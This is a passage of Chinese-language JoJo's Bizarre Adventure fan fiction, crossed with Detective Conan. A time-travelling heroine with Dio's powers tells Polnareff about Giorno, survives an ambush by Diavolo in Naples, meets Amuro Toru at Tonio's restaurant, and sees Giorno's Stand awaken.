“来吧,露娜,哎,我已经知道--”
波鲁纳雷夫擦去眼角的泪水,上前一步,想给自己遭遇了诸多不幸的同伴一个温暖的拥抱时,一直像是木头人一样站着的黑发女人伸手挡在他胸前。
“波鲁纳雷夫,你禁止说话。”她的脸上没有一丝笑意,眼里满是警告。
哎,她真是太坚强了,竟然都不需要一丝一毫的安慰吗?
黑发女人探过他身后,迅速变脸,对着走过来的乔鲁诺和颜悦色,“乔鲁诺,我先和这位叔叔去外面说会话,能麻烦你招待一下伊奇吗?”
乔鲁诺本身见她准时回家,脸上的笑就没下来过。听她这么说,也点点头,啪塔啪塔迈着小腿拉开了零食柜,一边十分礼貌地和伊奇商量,“伊奇先生,你想先用点什么呢?”
伊奇十分受用,从柔软的沙发上跃下,走向乔鲁诺,顺便给了黑发女人一个“放心吧”的眼神。
黑发女人见他们相处的不错,眼里划过一丝笑意,而后转身,面无表情地将波鲁纳雷夫拉至无人的天台。
*
天台的风不大,但是应该能吹得让人脑子清醒一些。
我转了一圈,确认四周都没有监听的人,才走向波鲁纳雷夫。
或许是波鲁纳雷夫的发胶用的太多的缘故,夜风显然没能让他清醒过来,他现在那种心疼的眼神依旧是让我胆战心惊。
“我......”
见波鲁纳雷夫准备说话,我立马止住了他。
“我有预感你会说出很失礼的话,所以先停下来,让我说。”
波鲁纳雷夫乖乖闭嘴了,但是眼神更加奇怪了,他点了点头,眼神里还有几分鼓励的味道。
.....
这到底是给我树立了什么奇怪的形象,我一点也不想知道!
我扶住了额头,直击重点。“首先,乔鲁诺其实是dio的孩子.....”
我开始痛恨自己的好视力了,因为波鲁纳雷夫脸上出现的是了然和安慰。
可恶,拳头,拳头自己就握起来了!
我呼出一口气,为了自己的乳腺健康,决定语速快一点,“乔鲁诺的母亲汐华是一个日本女人,大约是在1984年的时候来到埃及遇见了dio,1985年生下了乔鲁诺。我在前几天来到这个时间的时候刚好遇见乔鲁诺,发现他不仅被混混欺负还被家暴,就把他带在身边了。”
好,看来夜风还是有用的。波鲁纳雷夫的眼神清澈了一点。
“我之前突然出现被认作黑户,然后因为身手被黑手.党盯上并且聘用了,当然,他们给我提供了新身份以及你知道的新职位。这份职位大抵是个靶子,现在牵扯到了一些事,我自己有把握全身而退,但是乔鲁诺在身边了话可能成为我的软肋,因此我打算将他托付给乔瑟夫先生他们。在我找个了难得的时机联系上乔瑟夫先生的时候,又刚好得知你在意大利。”
很好,这样子事情就差不多解释好了。
我缓缓舒出一口气,看着对面石化的波鲁纳雷夫,“现在你可以进行补充了。”
“你其实不叫汐--嗷嗷,我明白了。”紧握的拳头终于派上用场了,我看着嗷嗷叫的波鲁纳雷夫,只觉得心里的郁结都散去不少。
“不过不是也好,不然有人要伤心了。”波鲁纳雷夫嘀咕着。
这又是擅自增加了什么情节嘛?波鲁纳雷夫你到底在看什么东西啊。
我叹了口气,迎上了波鲁那雷夫钻蓝色的眼睛。
他捂着腹部,小声嘟囔。“嘶--其实我只是想告诉你,无论你成为什么身份,无论你遇到什么,我们都是同伴,你完全可以依靠我们。我们还要和你一起解决你穿越的事呢.....”
夜风没有吹散这声呢喃,我愣了一下,低下了头,露出了回来以后最真心实意的微笑。
“所以这不是一能联系上大家我就打电话了嘛。” 我也是做出了不少改变了。
“谢谢你,波鲁纳雷夫。”
我拉起了倒在地上的波鲁纳雷夫,继续补充道,“但是我今晚想告诉你的事不止这个,今天出去的时候,我发现了这里近来迅速崛起的passione中存在替身使者,而且这个替身使者是通过箭产生的。”
“什么!”波鲁纳雷夫脸色一变,“原来箭的用法在这里已经被掌握了吗?”
“所以,我有理由怀疑,passione掌握着箭。或许他们这几年的异军突起和用箭创造替身使者并不能分开。而意图想要调查箭的你,恐怕一来到意大利,就被盯上了。”
波鲁纳雷夫眯了眯眼睛,表情有些严肃,“真是了不得的消息啊。”
“那你之前有遇到什么奇怪的人吗?说不定就有和passione相关的家伙来调查了你。”
波鲁纳雷夫冥思苦想了一会,最终还是摇了摇头,“没有,没有人有要对我下手的意思。”
“那这样也好,不过明天不是工作日,可以麻烦你继续帮我照顾一下乔鲁诺吗?与线人见面的事就交给我吧。”
波鲁纳雷夫摇了摇头,“这有点危险。”
但是我的下一句话就让他打消了阻止我的念头。
“总结多次的穿越,我发现穿越的条件之一好像是是各类有奇异功能的物品。所以,箭的事情果然我也想深入调查。”
“那之前你穿越前和你一起消失的箭?”
“很遗憾,现在也没出现。”
听了这话,波鲁纳雷夫陷入了沉默。
我笑了笑,拍了拍他的肩,“不要紧,我感觉自己已经隐隐能抓住穿越的契机了。现在不受控制的时间跳
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跃已经从几百年变成两年,按照这种趋势来看,搞不好以后都没有穿越这种事了呢。”
这话很好地安慰了波鲁纳雷夫。
“.....这两年,我们也调查了不少类似穿越的传说,等意大利的事情了结了,你和我们一起都去看看,肯定就能找到办法!”
他说完,又有些忧心忡忡地看着我,“但是你说passione的势力很大,我们一起去见线人比较安全吧?”
“那可不是。”我在波鲁纳雷夫惊诧的眼神里变成了dio的模样,双手交叉于胸前,微微仰头,“可别忘记我的能力。就算有陷阱,也可以用【世界】来逃跑。”
“变形术真好用!”波鲁纳雷夫拍了拍胸口,眼神复杂地看着我现在的扮相,“太像了以至于我都以为他复活了。”
“呸呸呸,这话不吉利啊。”我变回原来的样子,看着大喘气的波鲁那雷夫,顺便补充,“其实还有个原因,我还加入了passione,所以我去会比你更合适。”
波鲁纳雷夫一口气没喘上来,开始猛地咳嗽起来,好一阵才缓过来。“你到底现在打了几份工?你不会是想靠干掉passione的boss来继承箭吧?”他的眼里略带敬佩。
也不是想继承什么就能继承什么的好吗?
我遗憾摆手,“那只是巧合而已,说到底现在的三份工作都是自己找上门来的。”不过其中一份还没拿到工资就是了。
一想到这个,我不由得有点怅然,随机转移话题,“波鲁纳雷夫,说起来你在家的时候是乔鲁诺先给你看dio的照片了吗?”
不然你怎么能脑补这么多出戏呢?
“不是哦,是因为伊奇在和乔鲁诺玩的时候放出了替身,我发现乔鲁诺能看见,并且也放出了自己的替身。天生的替身使者很少,我就追问乔鲁诺什么时候有替身的,他说是几天前。我想能看见替身因为也有可能是因为血缘联系而产生的。于是我就问他的父亲是谁,然后我就都知道了......等等,李,你干嘛这么惊讶?”
现在轮到我喘不过气了。
几天前......血缘联系......
不至于吧,难道我的身体里,还继承了dio的血吗?
啊哈哈--这种东西,完全不需要吧!怪不得我感觉用肉芽顺手了起来!还是这个原因吗!
*
那不勒斯的地下墓穴,是夏季的阴凉好去住。30年前左右,当地对此进行了开发并改造成景点,吸引了不少游客前来参观。
有游客的地方就有生意。景点的门口,不少小摊摆着各色东西,等待着游客的光顾。
一个粉发的少年似乎像是游客的样子,拿着一张地图到处转着,不知道出现了几回了。
不过太阳或许确实有些大了,这么转悠他也觉得口渴,于是他将视线移到了小摊上。
“老板,来两个球的香草味的冰淇淋。”他将钱递给了我。
我摸了摸脸上的胡须,接过了钱,打开保温桶就挖开始挖冰淇淋,一边喊着,“好嘞,香草冰淇淋!”
我将冰淇淋递给粉发少年,他接了过去,还有礼貌地说了声谢谢。
小雀斑在那张笑脸上显得十分亲切。
102.(含加更)粉色发霉章鱼
生意还挺好的。
冰淇淋小摊前已经排起了四五人的小队,老板忙不迭地收钱,脸上笑开了花。
托比欧收回视线,走远了些,去树荫处半蹲着。这个位置不错,地势偏高,能将景区入口一览无遗,如果有人会来接头,那么肯定逃不脱他的视线。
不过,为什么还没来。
粉发少年眼睛依旧一眨不眨地盯着门口,眼圈发黑。他手里拿着塑料小勺,搅拌着顶部化开的冰淇淋,把它搅拌得彻底化开了才舀起了一勺扔进嘴里。
黏腻微甜的混合物带着冰冷的气息,勉强压下了他烦躁的心情。
昨天他一无所获。
在一个晚上内,他将可能是调查“箭”的人一一排查。但那些外国人要么是真的来旅游的,要么是来认亲的。
不过其中有个金发黑皮的男人倒是很特别,行事神秘,还带着枪/械。说是来意大.利学习甜品技术的,但是却打探着当地的黑手.党情况,实在是非常可疑。
不过经过一番试探,托比欧发现那个男人并不能看见替身,而且对“箭”的话题并不敏感。
再加上boss说过不要打草惊蛇,托比欧才没选择下手,只是在boss的指挥下要求新加入的家伙注意一下这人。
新加入的家伙虽然是靶子,但是脑子还转得快,还没死成,用得也还算顺手。
最重要的是passione里面那些摇摆的家伙还没彻底揪出来,直接用他们并不合适。这时候,仅仅因为见财起意就加入passione的那个女人正是能派上用场的时候了。
不过,他托比欧才是boss最信任的人就是了!
托比欧死死盯着景区门口,注意着看是在等人的家伙。他的脸上虽然带着笑,却不能掩饰住眼神里透露出的无情和残忍。
一个身材羸弱的男人背着箭筒,腰间放着一只笨重的手机,双手环胸,站离门口不近不远的位置,既不挡着行人路,也能让想要接头的人一眼看到。
这是托比欧花了一些钱放下的诱饵。
但问题是,已经和约定的时间过去了两小时了,还没有鱼上钩。因为没有什么事还要背着箭筒看起来略显奇怪,因此就连一个上前搭话的人也没有。
可是不应该才对。那个来找“箭”的线索的人应当不是幽灵,而是真实存在的人才是。
passione里的那些不安分的家伙不会知道--boss曾经在埃及挖掘出“箭”然后卖给叫恩雅的老太婆的事情。他们不可能放出这个想要寻找那个挖掘出“箭”的人的信号来试探boss。
唯一从资金链推断出了boss发家史的家伙也已经全部都下地狱了。
总不能他还漏下了谁吧?
人一旦将怀疑的种子埋下,就会越想越多。
一个是可能不存在调查“箭”的人,“箭”的事情根本没有暴露,只是一些想要试探boss过去的家伙主导的一场戏。
另一个可能是已经打草惊蛇了,存在调查“箭”的人,但是出于某种原因,那人迟迟不敢出面。
一想到这两种可能,托比欧捏紧了手上装着冰淇淋的纸杯。已经完全化了的冰淇淋从中溢出来,将他的手顷刻间变得充满甜腻的气味。
恶心!
粉发少年嫌恶地看着手,转了一下头寻找水,试图清洗掉手上的东西。
然而就在他又回过头的时候,事情有了转机。
有人开始触碰了他的鱼饵!
粉发少年用着干净的手从兜中掏出手帕纸,随意地擦拭了下手上化掉的冰淇淋。他的眼睛专注地盯着跑去跟背着箭筒的男人说话的人。
似乎遇见了正是自己等待的人,背着箭筒的男人点了点头,给留着胡子的男人做了个手势,示意他跟着自己走。留着胡子的男人没有多问,直接跟了过去。
原来如此。
粉发少年站了起来,向前走了几步,看着已经标着售罄的冰淇淋小摊,往小道走去。
这是一条近路,一条去往目的地的近路。
*
我捏了捏自己变形出来的胡子,跟着背着箭筒的家伙向前走去。
老实说,接头的人还是很有耐心的,硬生生等了好几个小时。这几个小时里我的冰淇淋小摊生意也不错,算是给自己的额外补贴。
毕竟,我感觉,前面那家伙背着的“箭”大抵是假的。
虽然说我对箭也没有多熟悉,但是我好歹被一支箭扎过,又莫名其妙跟着一支箭消失,我多少能分清“箭”与普通箭矢的区别。
至于为什么还跟着前面那人走的原因,一方面是冰淇淋卖完了,另一方面就是想试探一下passione的人对“箭”的开发程度。
不管是真箭假箭,能来执行和箭相关人物的人,至少对箭有一定的了解。可以尝试把人带走,之后等我能在产生“肉芽”的时候再从中得到情报才更稳妥。
我本来是这么想的。
现在穿过了阴森的小巷,我们已经走到了个偏僻的海岸旁,或许是没有被完全开发的缘故,这里没有什么游客。
自从到了海岸边,那个背着箭筒的男人就松了一口气,他转过头,将箭筒拿了下来,放在脚边。
“老兄,我只是个带路的,什么也不知道,你在这里等着人就行。”他给了一个“你懂得”的眼神,放下这话,就快步走开。
嗯?
只是个带路的?需要这么谨慎吗?
我看着地上的箭,又看了看摸着兜里的一百万里布喜不自禁的男人,心中有了些不好的预感。
大海,可是杀人抛尸的好地方。谁家好人在这地方交换信息啊?
“你--”我试图叫住那个带路的男人,但是似乎是担心卷进纷争里,他脚步很快地跑走了,直接奔进来时的阴森的小巷。
我心头一跳!因为我看见了有人影突然出现在小巷里。
“小心!”但是这句话来得有点晚了。
因为我已经闻到了浓重的血腥味。
这就像是前天晚上,对面的公寓出现的情况一样。
一具被开膛的躯体倒了下来,手里攥着的钱币吸足了鲜血。他已呼吸全无,完全没救了。
我收回视线,后退了两步,尽量保持距离。
一个穿着黑色长袍的身影跨过了倒下的躯体,径直向我走来,我也保持着匀速后退。
长袍带着宽大的帽檐,我看不清他的脸,但从身形来看这应该是一个体型健硕的人。
如果他是替身使者,他只等到那个传信的男人靠近才动手,很可能射程不够长。
但是他的攻击速度很快,快到我都没察觉他是什么时候出手的。
总的来说,非常棘手。
不过从他的步幅速度来看,比起直接打架,他似乎还有别的想法。
“是谁派你来的呢?”似乎看不惯他进我退的进度了,那个人停下了脚步,声音很低,像是刻意压着嗓子说话。
先以问题开头很没礼貌欸。
我笑了笑,“那是谁派你来来的呢?”我指了指他的外袍,撇了撇嘴,“连真身都不敢露出来,未免有些太羞涩了吧?”
这样甚至称不上垃圾话的语言似乎起到了什么效果,黑袍男人不说话了。
虽然我也想从他这边探查出关于箭的消息,但就他选的这个一看就要抛尸的见面地址,再加上连送信人都不放过的残暴。
我想,现在可能是他更想从我嘴里撬出点什么。
我也不说话了,只是静静地观察着对方。
我很好奇,他刚刚究竟是靠什么攻击我的?他是替身使者?还是别的什么?
巨大的帽檐将他的面容遮掩地严严实实,连脚底板都遮住了,只露出一双眼睛。这样的情况要么是本身就害怕阳光,要么就是因为有些原因而不能被我看见。
一想到在我眼前化成灰的吸血鬼,我一时间对前面一种猜测跃跃欲试。
好,要不就直接打晕对方把他绑到树上算了!
只不过还没摸清对方的能力是什么.....
我有些苦恼,想了想,还是捡起了旁边的箭筒。
果然不出我所料, 箭筒里的箭就只是普通的三支箭矢,甚至都没刻意去仿造“箭”的样子。不过箭头、箭杆、箭羽都在,也算是能发挥箭的功效。
看到我拿出箭,黑袍人似乎也觉放弃了沉默,“这是你想要的箭吧?”
“是我想要的箭吧?”
我继续做着复读机,将箭握在手上,看着对方微微眯起的眸子,嘿嘿一笑,“passione的人怎么知道的?”
话还没说完的当口,我就以投飞镖的姿势将箭矢投掷出去,目标是黑袍人的帽子。
按照正常人的反应速度,这一下是绝对避不开的。
听到passione时,黑袍人的眸子猛地缩了起来,看到箭矢投过去时,他还没反应过来。
这个箭矢本身就是为了测试他对速度的反应,因而直接用了最大的力气。在我们现在的距离来看,应该比子弹更快。
箭矢大力地射向他的头顶,宽大的帽檐被箭向后带去,他整个人甚至也向后踉跄了两步,露出了黑袍人的真面目。
在他反应过来之前,阳光已经映照在他的脸上。
见阳光也没化成灰,看来不是吸血鬼啊.....
我暗自腹诽,看着对方气急败坏的面容,心情有些微妙。
他有着一头玫粉色的长发,上面带着一些黑色的斑点,简直就像是发霉了一样。但最引人注目的是他露出的上半身,健硕肌肉被渔网袜一样的黑色镂空网衫照着,看起来有种诡异的妖艳感。
嘶哈,意大.利原来是这么潮流的地方吗?失敬失敬啊。
我微妙的表情被那人尽收眼底,我不知道对方联想到了什么,反正他的脸色极其难看。
“竟然敢窥视我!”他看我的眼神更加冰冷,似乎已经确信我是个死人了。
不是,讲道理你是什么封建糟粕文化里被看脚就要负责的人吗?看了你的脸还得用命来偿还吗?
你难道是什么发霉剧毒粉章鱼修炼成人型,身受不能被人看见的诅咒吗?如果是这样我是会道歉的啦。
我在心里默默吐槽着,仔细观察着对方的动作。
还不显示自己的能力吗?
似乎觉得既然已经被看到真容了,也没必要罩着黑袍了,他将黑袍直接脱下,狠狠甩过来。
我的视线被暂时遮蔽了,但是人的气息我还是能感知的到。
--他要从右边过来。
我轻巧退开几步,手中又拿起一支箭。
眼看他的身体已经出现在视线中,我用力继续将箭矢投掷出去,目标是他的左肩。
看见疾驰而来的箭矢,他瞳孔猛地一缩,但是身体来不及反应。
箭矢已经到了他的身前,他却只是轻微地移动了一点角度,根本躲不开箭矢。
根本躲不开才对....
我没有眨眼,但是箭矢好像凭空穿过了他的左肩,向远处继续飞驰。
“很大的力气嘛?”粉色发霉章鱼头没有停下脚步,眼睛里透着嘲讽。
我拉开距离,心中暗暗一惊。
这个能力?总不至于是什么永远不受伤害的buff吧?
难道真的是粉色黑环章鱼修炼成精了?还是说现在核污染水已经排海了?
糟糕,如果这真的是因为核污染水异变来报复人类的有毒章鱼精了话,我和他打会不会被动保投诉啊!
我的脑子里到处是乱七八糟的念头,但是能有这些念头的原因是,这个粉色发霉章鱼头真的追不上我。
毕竟以前当过鬼,我的身体素质还是很可以的,如果没有什么意外了话,我只要靠逃跑就能了事了。
反正箭在passione那里,跑得了和尚跑不了庙
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,我慢慢调查也比直接在这里和发霉章鱼头对峙来得方便一些。
不过,这一切前提建立在没有什么意外上。
我确信自己没有眨眼,但是在我回头的一瞬间,我发现,身后那人与我的距离开始渐渐缩小了起来。
这很奇怪。
因为不论是步幅还是速度,他都远远不如我。他的超越简直就像是凭空产生的,在我意识到超越之前,距离就猛地缩小了。
这简直跟瞬移一样啊!
再这样下去几次,恐怕他就能来到我身边了。而就我之前的推测而言,他的能力可能是在近战中能最好发挥的。
但是对于对方的情况一无所知并不是什么好兆头,很容易在战斗中吃大亏。
而且,说起来,瞬移这件事总让我有点熟悉。
“你的替身能力和时间有关吧!”
我继续拉开了距离,对着突然刹停了脚步的粉色发霉章鱼大声呼喊,嘴角甚至扬起了自信的笑。
对面的脸色难看极了,像是蒙上了一层厚重的阴霾。
不是吧,真猜对了!
虽然猜对了,但是我感觉心头更加沉重了起来。
关于时间的替身,绝对不好对付。
我继承了【世界】,当然知道静止时间是多么变态的能力。而对方,大概是passione的人,能接触箭,应该很早就通过箭获得了替身能力,对于时间的掌握恐怕就更加得心应手了。
我此刻有些庆幸自己没在之前贸然使用【世界】,万一对方也是时间暂停而且还能在时间暂停中免疫伤害,那我完全是血亏。
现在某种意义上来说就是信息战,最好的办法是敌明我暗,我还不能暴露替身能力。
我努力保持面上的镇定,继续加大了嘲讽力度,“看来那人说的果然没错啊。”
这种时候无中生人让你猜去吧!
对面的人面部肌肉不自觉地痉挛着,他抬眼看看我,仿佛目光能摧毁我内心的屏障,来探究我说的“那人”是谁一样。
但显然,对于一个瞎编的人来说,他不能从我这里得到什么答案。
对面的人,也就是迪亚波罗,尽量在以着平静的口吻说话,“胡言乱语。”
只有他自己清楚,他刚刚的内心受到了多大的震撼。自己深深隐藏的秘密被对面的胡子男轻描淡写地说出,简直就像是将他曝晒到人群的眼光里一样,直叫他恶心反胃地想吐。
但只是说时间,很有可能对面的人根本不知道【绯红之王】删除时间的能力。
迪亚波罗用一只手托着脸,克制住自己脸上的痉挛,“可笑,但是你要是说出向你胡言乱语的人的名字,我能勉强让你活着。”
但是已经被触及自己堪称是机密的替身能力,迪亚波罗的话里的杀气根本难以掩饰。
无论是在脑海里翻来覆去地想,挖遍记忆里的所有角落,他都不明白还有什么人能活着接触自己的替身能力。
托比欧是绝对不会背叛自己的,除了他只有死人知道这个秘密。
除非死人会说话,否则绝无可能有人能知道!
难道还有能让死人能开口的替身能力......
“可是知道的人还不少呢?你要我说出谁的名字呢?你怎么不想想箭是怎么来的?”
胡子男关切的注视着他,好像是真的好心提醒。
箭,该死的箭可是他自己在埃及挖出来的,然后卖了五支给叫作恩雅的老太婆,自己留了一支。
这个箭一看就很神秘,面对开高价的买主,迪亚波罗的附加条件是得知箭的用法。
但是他能确信,自己学会了如何激发替身后也从来没有在还活着的其他人前展示过。
究竟哪里还有问题?
故作好心的目光更让人升起了血压,迪亚波罗深吸一口气,对于秘密泄露的恐惧压下心底的暴虐。
“你想要什么,来交换那些人的名字?”
迪亚波罗决定以退为进,让着欠扁的家伙先放松警惕。
“真是大方啊,那我要当passione的boss好了`”对面的男人捏了捏胡须,露出嚣张的微笑。
passione的boss?
迪亚波罗本打算皱眉,突然,一个念头划过了他的脑中,他定了定神,一丝发自内心的微笑浮现在他的脸上。
——【绯红之王!】——
跳跃到5秒后!
额头上还长着一张脸的红色人形替身迅速出拳!
迪亚波罗如愿地看着胡子男被绯红之王贯穿的身体,看见他绝望地从嘴中吐出一口血,慌不择路地爬到了海岸边,从崖上摔下海水里。
看着海水中洇出的一团血色的领域和跳动的鲨鱼,迪亚波罗没有去追。
没有人能在受了那种伤以后活下来。
而且,看着一条巨大的黑影从海底浮上来,张开大嘴将一切吞进,迪亚波罗嘴角露出轻蔑的笑。
命运还是站在他迪亚波罗这边。
连他的身份也不知道的家伙,不过是胡言乱语勉强猜到了他的能力罢了,竟让他一时间方寸大乱。看来自己还有许多不成熟的需要克服。
不过目前的当务之急——肃清passione里面有异心的家伙。
即使被猜到替身能力的一部分可能是偶然,但创造出这种偶然的一定有什么必然存在。如果不消灭,他就无法安稳地继续生活。
迪亚波罗的眼神中划过一道阴翳,他等着海中的血迹差不多完全散去才彻底离开。
波涛汹涌的海水中,那只巨大的黑影慢慢缩小,看起来就像是下潜了一样。
直到缩到了差不多普通乌龟的大小,它才迅速化为乌龟艰难地拨动着四只脚往岸边爬去。
但由于不会游泳,它的活动大抵上是靠着海水的冲击,如此随波逐流,反复几次,才艰难被浪拍在沙滩上。
可恶,我下次一定要学游泳!
103.不加班宣言
“托拉萨迪。”
金发黑皮的男人抬眼看着招牌的名字,喃喃自语了一声,推门而入。
一个穿着厨师制服的男人正擦拭着桌子,一听开门的声音,转身回头。
“是预约的安室透先生吗?”打量着不似欧洲人的面孔的男人,厨师礼貌一笑,身后的桌子被擦得锃亮。
这是一家开在海岸边的位置偏僻的餐厅,但是内室整洁干净,布置得极其温馨。
安室透并不掩饰自己眼底的欣赏,点了点头,礼貌地微微躬身,“在下正是安室透,没想到托尼欧·托拉萨迪先生您愿意接受我冒昧的请求。”
被称作托尼欧·托拉萨迪和煦地笑着,“对于喜欢料理的人,是不会拒绝关于料理之间的交流的。”
“我的食材已经准备好了,您换个衣服再进行清洁之后进入厨房就行。”他说着,对安室透点了点头,正要走入后厨,餐厅的大门又被推开了。
“你好,请问还营业吗?”进来的是一个黑发女人。
一进门来,看见餐厅内只有两人,她的目光犹豫地游离在托尼欧·托拉萨迪和安室透之间。
可能是在海边吹风吹久或者下海游泳的缘故,她身上带着一些海水的腥味。黑色的长发垂下,发尾因为刚刚被擦干而微微翘起。她面容有些苍白,眼底带着一点疲惫。
这张脸......
安室透的眼神在女人的脸上停留好几秒,又快速收回。这动作的动静很小,速度很快,几乎难以让人察觉。
作为一名优秀的厨师,托尼欧·托拉萨迪基本上是不会拒绝食客的来访的。不过这位安室透先生确实是先来的。
厨师的脸上显现出了一丝犹豫,这样的情绪变化并没有逃离安室透的眼睛。
安室透体贴地对着停住脚步的托尼欧·托拉萨迪微微一笑,显得极其谦让,“先招待这位女士吧,托拉萨迪先生,我接下来并没有什么事,等您空下来再向我传授提拉米苏的做法也并不迟。”
这样彬彬有礼的态度很博得人的好感。
托尼欧·托拉萨迪对他的体谅报以感激的笑容,那位黑发的女士也向他道了一声谢。
安室透站在不近不远的地方,看着托尼欧·托拉萨迪向黑发女人走去。
“请问有菜单吗?”黑发女人拉开了椅子,坐了下去。
穿着洁白厨师制服的托尼欧·托拉萨迪听到这句话笑得依旧和煦,“不好意思,本店没有固定菜单。”
黑发女人闻言愣了一下,看了看托尼欧·托拉萨迪,又环视四周看了看餐厅的陈设,似乎在计算这里是黑店的可能性。
不过她的饥肠辘辘还是挽留了她。
“那今天有什么推荐菜吗?”
“我会根据客人当天的身体状况来决定菜单”,托尼欧·托拉萨迪的眼扫视过女人一遍后,点了点头,颇为担忧,“女士您是否感觉身体有些虚弱,需要补充巨大的能量?”
从黑发女人苍白的脸上确实能看出她有些虚弱,但是巨大的能量不至于吧,还是说在这里[巨大]都是夸张用法?
安室透摸了摸自己的下巴,却没有提出质疑。
如果不合适,这位黑发女士应该会反驳吧?
安室透这么想着,却见黑发女人眼睛一亮,脸上残存的质疑消失了,用力地点了点头。
“是的。”
“那么将为您献上水果色拉、米兰风味烩饭、博洛尼亚肉酱千层面、猎人炖鸡、罗马红烩牛肚、南瓜浓汤,甜品了话一份奶酪蛋糕如何?”
安室透听着这一大串菜名,微微瞪大了双眼。
虽然他不认为女生一定得小饭量,但是这些菜全上了的分量,即使是两个成年男性也会觉得费力。
难道这家店真的是黑店?又或者它的分量很小?
安室透皱起了眉头,看来他搜集的资料还存在疏漏。
寻找有着奇特名声的餐厅,借口来学习菜品以掩饰探查当地黑手.党的消息,这个方法看起来还是可以改进。
黑发女人却连眼都没眨一下,不时点头,满意地目送着托尼欧·托拉萨迪走向厨房。
制作招待食客的料理是主厨的私人工作,因此托尼欧·托拉萨迪对着安室透歉意一笑,示意他先找个位置休息一下。
在还没上菜,又暂时不能进厨房的时间里,安室透看着独自坐着的女人,意识到这是搭话的好时机。
又或者说这是个刺探情报的机会。
眼前这个面容略显苍白的黑发女人,正是他近期要调查的重点对象。
在来意大.利的那一天,组织里的线人就交给了他这个女人的照片。她与当地有名的黑手.党头目似乎有所牵扯,在会面后,那人就遇到车祸离奇身亡了。紧接着第二天,她就入职了当地的警局。
这类工作在这可是肥缺,如果只是普通人,别说空降了,就是通过正常途径入职也极其困难。
安室透拉开了隔壁的椅子,坐在离女人不远处。这正是个安全的社交距离,不会让对方心生警惕。
“女士,你也是来附近旅游的吗?”安室透带着他一贯彬彬有礼的微笑,向着黑发女人搭话。
他淡金色的头发带着健康光泽,小麦色的肌肤也颇具魅力。尤其是那双像是会说话的眼睛和人对视的时候,简直像是进行着友好的邀约。
因此,他的搭话总是能顺利展开。
不过他现在似乎碰了壁。
黑发女人看了他一眼,下意识地皱了一下眉,她的脸上甚至没有什么多余的表情,只是点了点头,“算是吧。”
这一简短的话说完,她就像是急于结束话题,转过头看着窗外。
这家餐厅的虽然偏僻,但是位置不错,透过窗能看到远处的大海。但是现在是天都已经黑了,外面根本看不清什么。
这就像是无声拒绝谈话的方式。
安室透摸了摸鼻子,重新打量着自己的装束--和平常一样。那自己搭话的节奏,也并不突兀。
或者可能是搭话对象的性格有些出乎意料。
安室透重新将目光放回黑发女人身上,陷入了思考。
许多人猜测
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这女人是那头目离奇身亡的黑手.党派去警局获取情报的钉子,这也是一种隐形的秀肌肉的行为,证明他们在这类重要部分依旧有白手套。
不过,因为有一种传言,那头目把她安排在警局的档案室里是为了探听一个秘密——那个异军突起的passione的boss究竟是谁。
passione的boss,没人知道其过去,没人知道他的样貌,他仿佛一个幽灵,操控着passione,近乎贪婪地吞噬着那不勒斯的产业,操纵着诸多黑暗的生意。
一旦有人试图调查他的秘密,都会被以最可怕的方式处以极刑。
不过,目前这个所谓的“可能调查passione秘密”的女人还活着,不由得在暗地里让人瞩目。
安室透所在的组织关注着欧洲,于是派遣安室透来调查。
虽然在借口学艺的餐厅遇见目标实属偶然,但是安室透还是一秒就进入了工作模式。
现在虽然碰壁了,但他是个有耐心的人。
“在那不勒斯旅行真是不错的选择!这里的海景很迷人,女士,您觉得呢?”
像是没感受到女人的抗拒,安室透又强行续上了话题。
……
作为一个刚苦苦从海里爬出来的旱鸭子,我不觉得。
我看向了玻璃,视线和身后那位黑皮金发帅哥在玻璃的影像上交汇。
我很佩服他的耐心以及假装看不懂空气的实力。
现在可是休息日,我一点也不想进行无谓的加班。
即使对方的样貌和今早passione提醒我需要盯梢的相片中的人一模一样,也根本不能阻止我躺平的决心。
“还行吧。”
我随便回了一句,但是那位黑皮金发帅哥显然有些过于健谈了,竟然还能从话缩力拉满的回复中找到一点,打算再聊一会天!
……好累
哪有想要吃饭的时候任务自动找上门的道理……
菜快点上来吧!
像是听到了我的祈祷,厨师如天神降临般端了菜来,一一摆在我面前。
对面的金发黑皮男适时打住了话题。我几乎是迫不及待地用起了餐。
我听着厨师对于烹饪食材、手法的介绍下饭,只感觉胃里暖洋洋的,身体重新充满了力量。
那些因为修补被打伤的身体的能量像是通过食物,重新回到了我身上。
amazing!我看着盘中出现的番茄样的几个替身,又抬眼看了看厨师。
“是菜品让您不满意吗?”厨师和我对视一眼,轻轻点了点头,我们彼此都明白了对方的意思。
旁边的金发黑皮帅哥显然看不到替身,只是皱着眉头,看着空盘。
不是替身使者……
我松了口气,感觉盯梢任务会轻松不少。
反正现在也不是工作时间,无须在意。
就这样,我付完了意外实惠的一餐,回到了公寓。
不过这是?
我看着眼前的东西,一瞬间感到了心脏骤停。
104.觉醒
“欢迎回来。”听到了门开的声音,乔鲁诺从沙发上下来,迈着腿啪嗒啪嗒得过来。不知为何,他今天带着一顶针织帽,将头发裹得严严实实,连一丝头发都没露出来。
波鲁纳雷夫坐在沙发上,和我打了个招呼,吹着奇妙的口哨又把眼神移开。伊奇趴在沙发柔软而又高的垫子上,见我回来,直起了身子看来我一会,又窝了回去。
嗯,不对劲啊。总感觉发生了什么。
但现在不是问的时候。
我将目光放回到刚刚吸引我的事物,忍不住抿了抿嘴。
紧紧跟在乔鲁诺身边的东西--一个和乔鲁诺差不多高的黄色替身。
这....真是一脉相传的颜色啊!
我缓过神来,站在地毯上,蹲下身来。
乔鲁诺在我身前站定,睫毛颤抖了几下,青绿色的眼睛专注地看着我。
“姐姐,这.....这是我的替身!”乔鲁诺有些紧张,像是介绍新来的玩伴一样,45度侧身,手像是模仿广告中的推销员一样微微弯曲。
顺延乔鲁诺手指的方向,我仔细观察着乔鲁诺的替身。他正乖乖站在原地。
或许是年纪还小的缘故,乔鲁诺的替身的可以称得上可爱。
和[世界]那样充满肌肉的兄贵替身不同,ta纤细可爱,全身上下包裹着橘色护甲,护甲的关节处还有紫色瓢虫样式的装饰物,肩膀上甚至还有两个白色的小翅膀样的装饰。甚至还有类似猫猫的嘴巴。
老实说,就算看做是穿着橘色运动护具的人类小孩,也并不违和。
“你好。”我挥挥手,向着这个黄色的替身打了声招呼。
旁边的乔鲁诺眼睛亮了起来,情不自禁地露出了一个大大的微笑,他张了张嘴,还想再说点什么。
不过刚刚觉醒的替身使者对于自己的替身掌控能力并不是很好,于是乔鲁诺就眼睁睁看见自己身后的替身径直向前走去,抱着半蹲着的黑发女人,脑袋一歪,搁在她的臂弯里。
哇。
